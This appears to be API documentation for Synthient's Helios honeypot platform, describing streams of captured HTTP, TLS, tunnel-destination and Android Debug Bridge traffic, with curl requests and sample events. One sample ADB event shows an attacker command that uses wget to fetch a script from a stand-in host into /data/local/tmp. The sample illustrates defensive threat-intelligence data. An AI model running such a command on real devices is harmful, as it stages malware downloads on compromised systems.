Helios

View as markdown

Helios is the Synthient honeypot platform. A globally distributed sensor mesh sits behind residential, datacenter, and mobile egress points, capturing HTTP requests, TLS ClientHello messages, tunnel destinations, and Android Debug Bridge shell commands. These observations power Synthient's domain intelligence, feeds, and streams.

What Helios captures

SensorSurfaceContents
HTTPPlaintext :80 honeypots impersonating common originsMethod, URI, headers, raw request bytes, source proxy metadata
TLSTLS terminators on :443 capturing ClientHelloOffered versions, cipher suites, extensions, supported groups, signature algorithms
DNSTunnel destination observationsHost name or address literal and destination port the tunnel was opened to
ADBAndroid Debug Bridge :5555 sensorsPlain-text shell commands, session identifiers, session payload hashes

HTTP, TLS, and DNS events carry a meta block identifying the upstream proxy network (pool_id, provider, proxy_ip, and server), so you can attribute attacker traffic back to the exit it traversed. ADB events use their own session fields.

tunnel_id uses the full unsigned 64-bit range. Preserve it with a lossless JSON parser or an SDK: live IDs can exceed both signed 64-bit integers and JavaScript's safe integer range.


Access surfaces

Helios data is available three ways depending on your latency and volume needs:

SurfaceBest forEndpoint
Domain lookupPer-domain intelligence: aggregate stats, top subdomains/ports, recent eventsGET /api/v4/lookup/domain/{domain}
Live streamsReal-time correlation, SOC tooling, in-memory threat cachesNDJSON streams below
Parquet exportsBulk analytics, training data, retrospective huntsDaily and hourly snapshots via Feeds

Authentication & scopes

All Helios endpoints are served from https://api.synthient.com under /api/v4 and require your API key in the x-api-key header.

Each sensor exposes two scopes, one for the parquet exports and one for the real-time stream:

ScopeGrants
HONEYPOT_HTTP_FEED / HONEYPOT_HTTP_STREAMHTTP capture exports / stream.
HONEYPOT_HTTPS_FEED / HONEYPOT_HTTPS_STREAMTLS ClientHello capture exports / stream.
HONEYPOT_DNS_FEED / HONEYPOT_DNS_STREAMTunnel destination exports / stream.
HONEYPOT_ADB_FEED / HONEYPOT_ADB_STREAMAndroid Debug Bridge shell-command exports / stream.

See Authentication for full key handling and Errors for the 401/403 responses you'll see if a scope is missing.


Domain intelligence

The fastest way to put Helios to work is the domain lookup. It returns aggregate stats, a time series, top subdomains and ports, and the most recent raw events seen against the queried domain, built from the same captures the streams below emit.

curl -G https://api.synthient.com/api/v4/lookup/domain/example.com \
  -H "x-api-key: $SYNTHIENT_API_KEY"

Full request, response, and code samples live on the IP API page.


Common response codes

A successful stream returns 200 with an NDJSON body, one JSON object per line, held open for up to 30 minutes. 403 means the key lacks the per-sensor scope for the surface you called, HONEYPOT_*_STREAM for streams or HONEYPOT_*_FEED for exports. 429 can indicate a team request-rate limit, exhausted key monthly budget, or too many concurrent streams. Retry only when it carries a valid Retry-After. See Errors for the full reference.


GET/api/v4/feeds/helio/http/stream

Stream HTTP captures

Real-time stream of HTTP request captures from Helios sensors, including method, URI, headers, and the raw request bytes.

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the request was captured.

  • Name
    domain
    Type
    string
    Description

    Host name or address literal the tunnel was opened to.

  • Name
    port
    Type
    integer
    Description

    Destination port.

  • Name
    tunnel_id
    Type
    integer
    Description

    Unsigned 64-bit tunnel identifier.

  • Name
    protocol
    Type
    string
    Description

    Always "http" for this stream.

  • Name
    details
    Type
    object | null
    Description

    Parsed HTTP request. May be absent; check before reading its fields.

  • Name
    details.method
    Type
    string
    Description

    HTTP method, such as GET or POST.

  • Name
    details.uri
    Type
    string
    Description

    Request URI.

  • Name
    details.version
    Type
    string
    Description

    HTTP version, such as HTTP/1.1.

  • Name
    details.headers
    Type
    object
    Description

    Request headers as a string-to-string map. Header keys preserve the casing the client sent.

  • Name
    raw
    Type
    string | null
    Description

    Base64-encoded HTTP request bytes, when captured. Decode the string before treating it as an HTTP request.

  • Name
    meta
    Type
    object
    Description

    Source metadata: pool_id, provider, proxy_ip, and the upstream server as host:port.

Request

GET/api/v4/feeds/helio/http/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/http/stream \
  -H "x-api-key: $SYNTHIENT_API_KEY"

NDJSON events

{"timestamp":1778200137487,"tunnel_id":961793813,"domain":"ip-api.com","port":80,"protocol":"http","meta":{"proxy_ip":"195.63.23.169","server":"s1860.novel-layer.com:6000","pool_id":"flixview_gms","provider":"popa"},"details":{"method":"GET","uri":"/json/?fields=61439","version":"HTTP/1.1","headers":{"User-Agent":"axios/1.16.0","Host":"ip-api.com"}},"raw":"R0VUIC9qc29uLz9maWVsZHM9NjE0MzkgSFRUUC8xLjENCkhvc3Q6IGlwLWFwaS5jb20NClVzZXItQWdlbnQ6IGF4aW9zLzEuMTYuMA0KDQo="}

GET/api/v4/feeds/helio/https/stream

Stream TLS captures

Real-time stream of TLS ClientHello captures from Helios sensors. The details block carries the fully parsed handshake: record/handshake versions, the client random and session ID, the full cipher-suite and extension lists with their numeric codes, supported groups, signature algorithms, key-share groups, PSK key-exchange modes, and the boolean handshake flags (extended_master_secret, renegotiation_info, status_request, signed_certificate_timestamps, has_grease, etc.).

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the ClientHello was captured.

  • Name
    domain
    Type
    string
    Description

    Host name or address literal the tunnel was opened to. The ClientHello's SNI value is in details.sni.

  • Name
    port
    Type
    integer
    Description

    Destination port.

  • Name
    tunnel_id
    Type
    integer
    Description

    Unsigned 64-bit tunnel identifier.

  • Name
    protocol
    Type
    string
    Description

    Always "https" for this stream.

  • Name
    meta
    Type
    object
    Description

    Source metadata: proxy_ip, server, pool_id, provider.

  • Name
    details
    Type
    object | null
    Description

    Parsed ClientHello. null only when parsing failed. Keys include: record_version, handshake_version, client_random, session_id, session_id_length, cipher_suites (each {code, name}), compression_methods, sni, alpn, supported_versions, supported_groups, ec_point_formats, signature_algorithms, extensions (each {code, name, length}), key_share_groups, psk_key_exchange_modes, compress_certificate, plus boolean flags extended_master_secret, renegotiation_info, status_request, signed_certificate_timestamps, has_grease, encrypt_then_mac, post_handshake_auth, delegated_credentials, application_settings.

  • Name
    raw
    Type
    null
    Description

    Always null; the HTTPS sensors do not capture raw handshake bytes.

Request

GET/api/v4/feeds/helio/https/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/https/stream \
  -H "x-api-key: $SYNTHIENT_API_KEY"

NDJSON events

{
  "timestamp": 1778200008794,
  "tunnel_id": 740057945,
  "domain": "www.youtube.com",
  "port": 443,
  "protocol": "https",
  "meta": {
    "proxy_ip": "217.181.88.34",
    "server": "s1863.novel-layer.com:6000",
    "pool_id": "flixview_gms",
    "provider": "popa"
  },
  "details": {
    "record_version": "TLS 1.2",
    "handshake_version": "TLS 1.2",
    "client_random": "9fdd003157d728fcae103ccc0f849396ed67784ed71c557cbaa1ae9abe39aea5",
    "session_id_length": 32,
    "session_id": "4cfe7bb506b4e8593d96fbf1d66bf70cf1a46c39c7e2fe55672c3cf9689e10f6",
    "cipher_suites": [
      { "code": 4865, "name": "TLS_AES_128_GCM_SHA256" },
      { "code": 4866, "name": "TLS_AES_256_GCM_SHA384" }
    ],
    "sni": "www.youtube.com",
    "supported_versions": ["TLS 1.3", "TLS 1.2"],
    "extensions": [
      { "code": 0, "name": "server_name", "length": 20 },
      { "code": 43, "name": "supported_versions", "length": 9 }
    ],
    "extended_master_secret": true,
    "renegotiation_info": true,
    "status_request": true,
    "has_grease": false
  },
  "raw": null
}

GET/api/v4/feeds/helio/dns/stream

Stream DNS captures

Real-time stream of destinations that Helios honeypot tunnels were asked to reach. Each event records the host name or address literal and destination port. Despite the feed's name, these are not DNS queries; names resolved inside a tunneled DNS session are not visible.

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the destination was observed.

  • Name
    tunnel_id
    Type
    integer
    Description

    Unsigned 64-bit tunnel identifier that joins back to HTTP/TLS captures from the same flow.

  • Name
    domain
    Type
    string
    Description

    Host name or address literal the tunnel was opened to.

  • Name
    port
    Type
    integer
    Description

    Destination port the flow intended to reach.

  • Name
    protocol
    Type
    string
    Description

    Always "dns" for this stream.

  • Name
    meta
    Type
    object
    Description

    Source metadata: proxy_ip, server, pool_id, provider. Parquet exports flatten it into meta_proxy_ip, meta_server, meta_pool_id, and meta_provider columns.

Request

GET/api/v4/feeds/helio/dns/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/dns/stream \
  -H "x-api-key: $SYNTHIENT_API_KEY"

NDJSON events

{"timestamp":1762605697000,"tunnel_id":17257744507466107949,"domain":"c2.example.com","port":443,"protocol":"dns","meta":{"proxy_ip":"203.0.113.42","server":"s1860.novel-layer.com:6000","pool_id":"pool-us-east","provider":"BRIGHTDATA"}}

GET/api/v4/feeds/helio/adb/stream

Stream ADB captures

Real-time stream of Android Debug Bridge shell commands captured by Helios sensors. command is plain text serialized as a JSON string, with invalid UTF-8 replaced by U+FFFD. The SHA-256 hash identifies the session's payload or script: every command in a session shares it, as do sessions replaying the same script. Group by hash to identify repeated scripts; use (session, sequential_id) to identify individual commands.

ADB stream events have no timestamp because the sensor sends none. Parquet exports add the ingest time as timestamp.

  • Name
    session
    Type
    string
    Description

    Session identifier, 32 hexadecimal characters, grouping commands from the same connection.

  • Name
    sequential_id
    Type
    integer
    Description

    One-based position of the command within its session.

  • Name
    command
    Type
    string
    Description

    Shell command executed by the attacker, encoded as a JSON string.

  • Name
    hash
    Type
    string
    Description

    SHA-256 assigned by the sensor to the session's payload, 64 hexadecimal characters. Shared by all commands in that session and sessions replaying the same script.

Request

GET/api/v4/feeds/helio/adb/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/adb/stream \
  -H "x-api-key: $SYNTHIENT_API_KEY"

NDJSON events

{"session":"a1b2c3d4e5f60718293a4b5c6d7e8f90","sequential_id":1,"command":"cd /data/local/tmp; wget http://evil.example.com/bin.sh","hash":"7e8f0123456789abcdef0123456789abcdef0123456789abcdef0123456789ab"}

Consuming Helios streams

Helios uses the same NDJSON server-streaming pattern as the rest of the Firehose. Connections stay open up to 30 minutes; reconnect immediately on clean close. Apply the account/feed retry policy when opening a connection fails, and surface permanent errors. Python and Go consumers are on the Firehose page; select the Helios feed you want.


Bulk exports

For retrospective analysis, every Helios sensor publishes daily and hourly parquet snapshots through the standard Feeds endpoints under the honeypot_http, honeypot_https, honeypot_dns, and honeypot_adb stream identifiers.

curl -G https://api.synthient.com/api/v4/feeds/helio/http/export \
  -H "x-api-key: $SYNTHIENT_API_KEY"

Next steps

  • IP API domain lookup: per-domain Helios intelligence.
  • Feeds: daily/hourly parquet snapshots of every Helios sensor.
  • Firehose: full NDJSON consumer reference and proxy, anonymizer, torrent, and JA4T streams.